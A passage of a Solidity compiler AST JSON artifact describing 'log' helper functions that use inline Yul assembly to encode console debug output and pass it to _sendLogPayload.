pure"}},"id":44966,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"343460:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":44967,"nodeType":"ExpressionStatement","src":"343460:28:22"},{"AST":{"nativeSrc":"343507:273:22","nodeType":"YulBlock","src":"343507:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"343528:4:22","nodeType":"YulLiteral","src":"343528:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"343534:2:22","nodeType":"YulIdentifier","src":"343534:2:22"}],"functionName":{"name":"mstore","nativeSrc":"343521:6:22","nodeType":"YulIdentifier","src":"343521:6:22"},"nativeSrc":"343521:16:22","nodeType":"YulFunctionCall","src":"343521:16:22"},"nativeSrc":"343521:16:22","nodeType":"YulExpressionStatement","src":"343521:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"343557:4:22","nodeType":"YulLiteral","src":"343557:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"343563:2:22","nodeType":"YulIdentifier","src":"343563:2:22"}],"functionName":{"name":"mstore","nativeSrc":"343550:6:22","nodeType":"YulIdentifier","src":"343550:6:22"},"nativeSrc":"343550:16:22","nodeType":"YulFunctionCall","src":"343550:16:22"},"nativeSrc":"343550:16:22","nodeType":"YulExpressionStatement","src":"343550:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"343586:4:22","nodeType":"YulLiteral","src":"343586:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"343592:2:22","nodeType":"YulIdentifier","src":"343592:2:22"}],"functionName":{"name":"mstore","nativeSrc":"343579:6:22","nodeType":"YulIdentifier","src":"343579:6:22"},"nativeSrc":"343579:16:22","nodeType":"YulFunctionCall","src":"343579:16:22"},"nativeSrc":"343579:16:22","nodeType":"YulExpressionStatement","src":"343579:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"343615:4:22","nodeType":"YulLiteral","src":"343615:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"343621:2:22","nodeType":"YulIdentifier","src":"343621:2:22"}],"functionName":{"name":"mstore","nativeSrc":"343608:6:22","nodeType":"YulIdentifier","src":"343608:6:22"},"nativeSrc":"343608:16:22","nodeType":"YulFunctionCall","src":"343608:16:22"},"nativeSrc":"343608:16:22","nodeType":"YulExpressionStatement","src":"343608:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"343644:4:22","nodeType":"YulLiteral","src":"343644:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"343650:2:22","nodeType":"YulIdentifier","src":"343650:2:22"}],"functionName":{"name":"mstore","nativeSrc":"343637:6:22","nodeType":"YulIdentifier","src":"343637:6:22"},"nativeSrc":"343637:16:22","nodeType":"YulFunctionCall","src":"343637:16:22"},"nativeSrc":"343637:16:22","nodeType":"YulExpressionStatement","src":"343637:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"343673:4:22","nodeType":"YulLiteral","src":"343673:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"343679:2:22","nodeType":"YulIdentifier","src":"343679:2:22"}],"functionName":{"name":"mstore","nativeSrc":"343666:6:22","nodeType":"YulIdentifier","src":"343666:6:22"},"nativeSrc":"343666:16:22","nodeType":"YulFunctionCall","src":"343666:16:22"},"nativeSrc":"343666:16:22","nodeType":"YulExpressionStatement","src":"343666:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"343702:4:22","nodeType":"YulLiteral","src":"343702:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"343708:2:22","nodeType":"YulIdentifier","src":"343708:2:22"}],"functionName":{"name":"mstore","nativeSrc":"343695:6:22","nodeType":"YulIdentifier","src":"343695:6:22"},"nativeSrc":"343695:16:22","nodeType":"YulFunctionCall","src":"343695:16:22"},"nativeSrc":"343695:16:22","nodeType":"YulExpressionStatement","src":"343695:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"343731:4:22","nodeType":"YulLiteral","src":"343731:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"343737:2:22","nodeType":"YulIdentifier","src":"343737:2:22"}],"functionName":{"name":"mstore","nativeSrc":"343724:6:22","nodeType":"YulIdentifier","src":"343724:6:22"},"nativeSrc":"343724:16:22","nodeType":"YulFunctionCall","src":"343724:16:22"},"nativeSrc":"343724:16:22","nodeType":"YulExpressionStatement","src":"343724:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"343760:5:22","nodeType":"YulLiteral","src":"343760:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"343767:2:22","nodeType":"YulIdentifier","src":"343767:2:22"}],"functionName":{"name":"mstore","nativeSrc":"343753:6:22","nodeType":"YulIdentifier","src":"343753:6:22"},"nativeSrc":"343753:17:22","nodeType":"YulFunctionCall","src":"343753:17:22"},"nativeSrc":"343753:17:22","nodeType":"YulExpressionStatement","src":"343753:17:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44936,"isOffset":false,"isSlot":false,"src":"343534:2:22","valueSize":1},{"declaration":44939,"isOffset":false,"isSlot":false,"src":"343563:2:22","valueSize":1},{"declaration":44942,"isOffset":false,"isSlot":false,"src":"343592:2:22","valueSize":1},{"declaration":44945,"isOffset":false,"isSlot":false,"src":"343621:2:22","valueSize":1},{"declaration":44948,"isOffset":false,"isSlot":false,"src":"343650:2:22","valueSize":1},{"declaration":44951,"isOffset":false,"isSlot":false,"src":"343679:2:22","valueSize":1},{"declaration":44954,"isOffset":false,"isSlot":false,"src":"343708:2:22","valueSize":1},{"declaration":44957,"isOffset":false,"isSlot":false,"src":"343737:2:22","valueSize":1},{"declaration":44960,"isOffset":false,"isSlot":false,"src":"343767:2:22","valueSize":1}],"id":44968,"nodeType":"InlineAssembly","src":"343498:282:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"342265:3:22","parameters":{"id":44933,"nodeType":"ParameterList","parameters":[{"constant":false,"id":44926,"mutability":"mutable","name":"p0","nameLocation":"342277:2:22","nodeType":"VariableDeclaration","scope":44970,"src":"342269:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44925,"name":"bytes32","nodeType":"ElementaryTypeName","src":"342269:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44928,"mutability":"mutable","name":"p1","nameLocation":"342286:2:22","nodeType":"VariableDeclaration","scope":44970,"src":"342281:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":44927,"name":"bool","nodeType":"ElementaryTypeName","src":"342281:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":44930,"mutability":"mutable","name":"p2","nameLocation":"342298:2:22","nodeType":"VariableDeclaration","scope":44970,"src":"342290:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44929,"name":"bytes32","nodeType":"ElementaryTypeName","src":"342290:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":44932,"mutability":"mutable","name":"p3","nameLocation":"342310:2:22","nodeType":"VariableDeclaration","scope":44970,"src":"342302:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":44931,"name":"address","nodeType":"ElementaryTypeName","src":"342302:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"342268:45:22"},"returnParameters":{"id":44934,"nodeType":"ParameterList","parameters":[],"src":"342328:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45016,"nodeType":"FunctionDefinition","src":"343792:1524:22","nodes":[],"body":{"id":45015,"nodeType":"Block","src":"343861:1455:22","nodes":[],"statements":[{"assignments":[44982],"declarations":[{"constant":false,"id":44982,"mutability":"mutable","name":"m0","nameLocation":"343879:2:22","nodeType":"VariableDeclaration","scope":45015,"src":"343871:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44981,"name":"bytes32","nodeType":"ElementaryTypeName","src":"343871:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44983,"nodeType":"VariableDeclarationStatement","src":"343871:10:22"},{"assignments":[44985],"declarations":[{"constant":false,"id":44985,"mutability":"mutable","name":"m1","nameLocation":"343899:2:22","nodeType":"VariableDeclaration","scope":45015,"src":"343891:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44984,"name":"bytes32","nodeType":"ElementaryTypeName","src":"343891:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44986,"nodeType":"VariableDeclarationStatement","src":"343891:10:22"},{"assignments":[44988],"declarations":[{"constant":false,"id":44988,"mutability":"mutable","name":"m2","nameLocation":"343919:2:22","nodeType":"VariableDeclaration","scope":45015,"src":"343911:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44987,"name":"bytes32","nodeType":"ElementaryTypeName","src":"343911:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44989,"nodeType":"VariableDeclarationStatement","src":"343911:10:22"},{"assignments":[44991],"declarations":[{"constant":false,"id":44991,"mutability":"mutable","name":"m3","nameLocation":"343939:2:22","nodeType":"VariableDeclaration","scope":45015,"src":"343931:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44990,"name":"bytes32","nodeType":"ElementaryTypeName","src":"343931:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44992,"nodeType":"VariableDeclarationStatement","src":"343931:10:22"},{"assignments":[44994],"declarations":[{"constant":false,"id":44994,"mutability":"mutable","name":"m4","nameLocation":"343959:2:22","nodeType":"VariableDeclaration","scope":45015,"src":"343951:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44993,"name":"bytes32","nodeType":"ElementaryTypeName","src":"343951:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44995,"nodeType":"VariableDeclarationStatement","src":"343951:10:22"},{"assignments":[44997],"declarations":[{"constant":false,"id":44997,"mutability":"mutable","name":"m5","nameLocation":"343979:2:22","nodeType":"VariableDeclaration","scope":45015,"src":"343971:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44996,"name":"bytes32","nodeType":"ElementaryTypeName","src":"343971:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":44998,"nodeType":"VariableDeclarationStatement","src":"343971:10:22"},{"assignments":[45000],"declarations":[{"constant":false,"id":45000,"mutability":"mutable","name":"m6","nameLocation":"343999:2:22","nodeType":"VariableDeclaration","scope":45015,"src":"343991:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":44999,"name":"bytes32","nodeType":"ElementaryTypeName","src":"343991:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45001,"nodeType":"VariableDeclarationStatement","src":"343991:10:22"},{"assignments":[45003],"declarations":[{"constant":false,"id":45003,"mutability":"mutable","name":"m7","nameLocation":"344019:2:22","nodeType":"VariableDeclaration","scope":45015,"src":"344011:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45002,"name":"bytes32","nodeType":"ElementaryTypeName","src":"344011:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45004,"nodeType":"VariableDeclarationStatement","src":"344011:10:22"},{"assignments":[45006],"declarations":[{"constant":false,"id":45006,"mutability":"mutable","name":"m8","nameLocation":"344039:2:22","nodeType":"VariableDeclaration","scope":45015,"src":"344031:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45005,"name":"bytes32","nodeType":"ElementaryTypeName","src":"344031:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45007,"nodeType":"VariableDeclarationStatement","src":"344031:10:22"},{"AST":{"nativeSrc":"344060:921:22","nodeType":"YulBlock","src":"344060:921:22","statements":[{"body":{"nativeSrc":"344103:313:22","nodeType":"YulBlock","src":"344103:313:22","statements":[{"nativeSrc":"344121:15:22","nodeType":"YulVariableDeclaration","src":"344121:15:22","value":{"kind":"number","nativeSrc":"344135:1:22","nodeType":"YulLiteral","src":"344135:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"344125:6:22","nodeType":"YulTypedName","src":"344125:6:22","type":""}]},{"body":{"nativeSrc":"344206:40:22","nodeType":"YulBlock","src":"344206:40:22","statements":[{"body":{"nativeSrc":"344235:9:22","nodeType":"YulBlock","src":"344235:9:22","statements":[{"nativeSrc":"344237:5:22","nodeType":"YulBreak","src":"344237:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"344223:6:22","nodeType":"YulIdentifier","src":"344223:6:22"},{"name":"w","nativeSrc":"344231:1:22","nodeType":"YulIdentifier","src":"344231:1:22"}],"functionName":{"name":"byte","nativeSrc":"344218:4:22","nodeType":"YulIdentifier","src":"344218:4:22"},"nativeSrc":"344218:15:22","nodeType":"YulFunctionCall","src":"344218:15:22"}],"functionName":{"name":"iszero","nativeSrc":"344211:6:22","nodeType":"YulIdentifier","src":"344211:6:22"},"nativeSrc":"344211:23:22","nodeType":"YulFunctionCall","src":"344211:23:22"},"nativeSrc":"344208:36:22","nodeType":"YulIf","src":"344208:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"344163:6:22","nodeType":"YulIdentifier","src":"344163:6:22"},{"kind":"number","nativeSrc":"344171:4:22","nodeType":"YulLiteral","src":"344171:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"344160:2:22","nodeType":"YulIdentifier","src":"344160:2:22"},"nativeSrc":"344160:16:22","nodeType":"YulFunctionCall","src":"344160:16:22"},"nativeSrc":"344153:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"344177:28:22","nodeType":"YulBlock","src":"344177:28:22","statements":[{"nativeSrc":"344179:24:22","nodeType":"YulAssignment","src":"344179:24:22","value":{"arguments":[{"name":"length","nativeSrc":"344193:6:22","nodeType":"YulIdentifier","src":"344193:6:22"},{"kind":"number","nativeSrc":"344201:1:22","nodeType":"YulLiteral","src":"344201:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"344189:3:22","nodeType":"YulIdentifier","src":"344189:3:22"},"nativeSrc":"344189:14:22","nodeType":"YulFunctionCall","src":"344189:14:22"},"variableNames":[{"name":"length","nativeSrc":"344179:6:22","nodeType":"YulIdentifier","src":"344179:6:22"}]}]},"pre":{"nativeSrc":"344157:2:22","nodeType":"YulBlock","src":"344157:2:22","statements":[]},"src":"344153:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"344270:3:22","nodeType":"YulIdentifier","src":"344270:3:22"},{"name":"length","nativeSrc":"344275:6:22","nodeType":"YulIdentifier","src":"344275:6:22"}],"functionName":{"name":"mstore","nativeSrc":"344263:6:22","nodeType":"YulIdentifier","src":"344263:6:22"},"nativeSrc":"344263:19:22","nodeType":"YulFunctionCall","src":"344263:19:22"},"nativeSrc":"344263:19:22","nodeType":"YulExpressionStatement","src":"344263:19:22"},{"nativeSrc":"344299:37:22","nodeType":"YulVariableDeclaration","src":"344299:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"344316:3:22","nodeType":"YulLiteral","src":"344316:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"344325:1:22","nodeType":"YulLiteral","src":"344325:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"344328:6:22","nodeType":"YulIdentifier","src":"344328:6:22"}],"functionName":{"name":"shl","nativeSrc":"344321:3:22","nodeType":"YulIdentifier","src":"344321:3:22"},"nativeSrc":"344321:14:22","nodeType":"YulFunctionCall","src":"344321:14:22"}],"functionName":{"name":"sub","nativeSrc":"344312:3:22","nodeType":"YulIdentifier","src":"344312:3:22"},"nativeSrc":"344312:24:22","nodeType":"YulFunctionCall","src":"344312:24:22"},"variables":[{"name":"shift","nativeSrc":"344303:5:22","nodeType":"YulTypedName","src":"344303:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"344364:3:22","nodeType":"YulIdentifier","src":"344364:3:22"},{"kind":"number","nativeSrc":"344369:4:22","nodeType":"YulLiteral","src":"344369:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"344360:3:22","nodeType":"YulIdentifier","src":"344360:3:22"},"nativeSrc":"344360:14:22","nodeType":"YulFunctionCall","src":"344360:14:22"},{"arguments":[{"name":"shift","nativeSrc":"344380:5:22","nodeType":"YulIdentifier","src":"344380:5:22"},{"arguments":[{"name":"shift","nativeSrc":"344391:5:22","nodeType":"YulIdentifier","src":"344391:5:22"},{"name":"w","nativeSrc":"344398:1:22","nodeType":"YulIdentifier","src":"344398:1:22"}],"functionName":{"name":"shr","nativeSrc":"344387:3:22","nodeType":"YulIdentifier","src":"344387:3:22"},"nativeSrc":"344387:13:22","nodeType":"YulFunctionCall","src":"344387:13:22"}],"functionName":{"name":"shl","nativeSrc":"344376:3:22","nodeType":"YulIdentifier","src":"344376:3:22"},"nativeSrc":"344376:25:22","nodeType":"YulFunctionCall","src":"344376:25:22"}],"functionName":{"name":"mstore","nativeSrc":"344353:6:22","nodeType":"YulIdentifier","src":"344353:6:22"},"nativeSrc":"344353:49:22","nodeType":"YulFunctionCall","src":"344353:49:22"},"nativeSrc":"344353:49:22","nodeType":"YulExpressionStatement","src":"344353:49:22"}]},"name":"writeString","nativeSrc":"344074:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"344095:3:22","nodeType":"YulTypedName","src":"344095:3:22","type":""},{"name":"w","nativeSrc":"344100:1:22","nodeType":"YulTypedName","src":"344100:1:22","type":""}],"src":"344074:342:22"},{"nativeSrc":"344429:17:22","nodeType":"YulAssignment","src":"344429:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"344441:4:22","nodeType":"YulLiteral","src":"344441:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"344435:5:22","nodeType":"YulIdentifier","src":"344435:5:22"},"nativeSrc":"344435:11:22","nodeType":"YulFunctionCall","src":"344435:11:22"},"variableNames":[{"name":"m0","nativeSrc":"344429:2:22","nodeType":"YulIdentifier","src":"344429:2:22"}]},{"nativeSrc":"344459:17:22","nodeType":"YulAssignment","src":"344459:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"344471:4:22","nodeType":"YulLiteral","src":"344471:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"344465:5:22","nodeType":"YulIdentifier","src":"344465:5:22"},"nativeSrc":"344465:11:22","nodeType":"YulFunctionCall","src":"344465:11:22"},"variableNames":[{"name":"m1","nativeSrc":"344459:2:22","nodeType":"YulIdentifier","src":"344459:2:22"}]},{"nativeSrc":"344489:17:22","nodeType":"YulAssignment","src":"344489:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"344501:4:22","nodeType":"YulLiteral","src":"344501:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"344495:5:22","nodeType":"YulIdentifier","src":"344495:5:22"},"nativeSrc":"344495:11:22","nodeType":"YulFunctionCall","src":"344495:11:22"},"variableNames":[{"name":"m2","nativeSrc":"344489:2:22","nodeType":"YulIdentifier","src":"344489:2:22"}]},{"nativeSrc":"344519:17:22","nodeType":"YulAssignment","src":"344519:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"344531:4:22","nodeType":"YulLiteral","src":"344531:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"344525:5:22","nodeType":"YulIdentifier","src":"344525:5:22"},"nativeSrc":"344525:11:22","nodeType":"YulFunctionCall","src":"344525:11:22"},"variableNames":[{"name":"m3","nativeSrc":"344519:2:22","nodeType":"YulIdentifier","src":"344519:2:22"}]},{"nativeSrc":"344549:17:22","nodeType":"YulAssignment","src":"344549:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"344561:4:22","nodeType":"YulLiteral","src":"344561:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"344555:5:22","nodeType":"YulIdentifier","src":"344555:5:22"},"nativeSrc":"344555:11:22","nodeType":"YulFunctionCall","src":"344555:11:22"},"variableNames":[{"name":"m4","nativeSrc":"344549:2:22","nodeType":"YulIdentifier","src":"344549:2:22"}]},{"nativeSrc":"344579:17:22","nodeType":"YulAssignment","src":"344579:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"344591:4:22","nodeType":"YulLiteral","src":"344591:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"344585:5:22","nodeType":"YulIdentifier","src":"344585:5:22"},"nativeSrc":"344585:11:22","nodeType":"YulFunctionCall","src":"344585:11:22"},"variableNames":[{"name":"m5","nativeSrc":"344579:2:22","nodeType":"YulIdentifier","src":"344579:2:22"}]},{"nativeSrc":"344609:17:22","nodeType":"YulAssignment","src":"344609:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"344621:4:22","nodeType":"YulLiteral","src":"344621:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"344615:5:22","nodeType":"YulIdentifier","src":"344615:5:22"},"nativeSrc":"344615:11:22","nodeType":"YulFunctionCall","src":"344615:11:22"},"variableNames":[{"name":"m6","nativeSrc":"344609:2:22","nodeType":"YulIdentifier","src":"344609:2:22"}]},{"nativeSrc":"344639:17:22","nodeType":"YulAssignment","src":"344639:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"344651:4:22","nodeType":"YulLiteral","src":"344651:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"344645:5:22","nodeType":"YulIdentifier","src":"344645:5:22"},"nativeSrc":"344645:11:22","nodeType":"YulFunctionCall","src":"344645:11:22"},"variableNames":[{"name":"m7","nativeSrc":"344639:2:22","nodeType":"YulIdentifier","src":"344639:2:22"}]},{"nativeSrc":"344669:18:22","nodeType":"YulAssignment","src":"344669:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"344681:5:22","nodeType":"YulLiteral","src":"344681:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"344675:5:22","nodeType":"YulIdentifier","src":"344675:5:22"},"nativeSrc":"344675:12:22","nodeType":"YulFunctionCall","src":"344675:12:22"},"variableNames":[{"name":"m8","nativeSrc":"344669:2:22","nodeType":"YulIdentifier","src":"344669:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"344766:4:22","nodeType":"YulLiteral","src":"344766:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"344772:10:22","nodeType":"YulLiteral","src":"344772:10:22","type":"","value":"0x3f8a701d"}],"functionName":{"name":"mstore","nativeSrc":"344759:6:22","nodeType":"YulIdentifier","src":"344759:6:22"},"nativeSrc":"344759:24:22","nodeType":"YulFunctionCall","src":"344759:24:22"},"nativeSrc":"344759:24:22","nodeType":"YulExpressionStatement","src":"344759:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"344803:4:22","nodeType":"YulLiteral","src":"344803:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"344809:4:22","nodeType":"YulLiteral","src":"344809:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"344796:6:22","nodeType":"YulIdentifier","src":"344796:6:22"},"nativeSrc":"344796:18:22","nodeType":"YulFunctionCall","src":"344796:18:22"},"nativeSrc":"344796:18:22","nodeType":"YulExpressionStatement","src":"344796:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"344834:4:22","nodeType":"YulLiteral","src":"344834:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"344840:2:22","nodeType":"YulIdentifier","src":"344840:2:22"}],"functionName":{"name":"mstore","nativeSrc":"344827:6:22","nodeType":"YulIdentifier","src":"344827:6:22"},"nativeSrc":"344827:16:22","nodeType":"YulFunctionCall","src":"344827:16:22"},"nativeSrc":"344827:16:22","nodeType":"YulExpressionStatement","src":"344827:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"344863:4:22","nodeType":"YulLiteral","src":"344863:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"344869:4:22","nodeType":"YulLiteral","src":"344869:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"344856:6:22","nodeType":"YulIdentifier","src":"344856:6:22"},"nativeSrc":"344856:18:22","nodeType":"YulFunctionCall","src":"344856:18:22"},"nativeSrc":"344856:18:22","nodeType":"YulExpressionStatement","src":"344856:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"344894:4:22","nodeType":"YulLiteral","src":"344894:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"344900:2:22","nodeType":"YulIdentifier","src":"344900:2:22"}],"functionName":{"name":"mstore","nativeSrc":"344887:6:22","nodeType":"YulIdentifier","src":"344887:6:22"},"nativeSrc":"344887:16:22","nodeType":"YulFunctionCall","src":"344887:16:22"},"nativeSrc":"344887:16:22","nodeType":"YulExpressionStatement","src":"344887:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"344928:4:22","nodeType":"YulLiteral","src":"344928:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"344934:2:22","nodeType":"YulIdentifier","src":"344934:2:22"}],"functionName":{"name":"writeString","nativeSrc":"344916:11:22","nodeType":"YulIdentifier","src":"344916:11:22"},"nativeSrc":"344916:21:22","nodeType":"YulFunctionCall","src":"344916:21:22"},"nativeSrc":"344916:21:22","nodeType":"YulExpressionStatement","src":"344916:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"344962:4:22","nodeType":"YulLiteral","src":"344962:4:22","type":"","value":"0xe0"},{"name":"p2","nativeSrc":"344968:2:22","nodeType":"YulIdentifier","src":"344968:2:22"}],"functionName":{"name":"writeString","nativeSrc":"344950:11:22","nodeType":"YulIdentifier","src":"344950:11:22"},"nativeSrc":"344950:21:22","nodeType":"YulFunctionCall","src":"344950:21:22"},"nativeSrc":"344950:21:22","nodeType":"YulExpressionStatement","src":"344950:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":44982,"isOffset":false,"isSlot":false,"src":"344429:2:22","valueSize":1},{"declaration":44985,"isOffset":false,"isSlot":false,"src":"344459:2:22","valueSize":1},{"declaration":44988,"isOffset":false,"isSlot":false,"src":"344489:2:22","valueSize":1},{"declaration":44991,"isOffset":false,"isSlot":false,"src":"344519:2:22","valueSize":1},{"declaration":44994,"isOffset":false,"isSlot":false,"src":"344549:2:22","valueSize":1},{"declaration":44997,"isOffset":false,"isSlot":false,"src":"344579:2:22","valueSize":1},{"declaration":45000,"isOffset":false,"isSlot":false,"src":"344609:2:22","valueSize":1},{"declaration":45003,"isOffset":false,"isSlot":false,"src":"344639:2:22","valueSize":1},{"declaration":45006,"isOffset":false,"isSlot":false,"src":"344669:2:22","valueSize":1},{"declaration":44972,"isOffset":false,"isSlot":false,"src":"344934:2:22","valueSize":1},{"declaration":44974,"isOffset":false,"isSlot":false,"src":"344840:2:22","valueSize":1},{"declaration":44976,"isOffset":false,"isSlot":false,"src":"344968:2:22","valueSize":1},{"declaration":44978,"isOffset":false,"isSlot":false,"src":"344900:2:22","valueSize":1}],"id":45008,"nodeType":"InlineAssembly","src":"344051:930:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45010,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"345006:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":45011,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"345012:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":45009,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"344990:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) 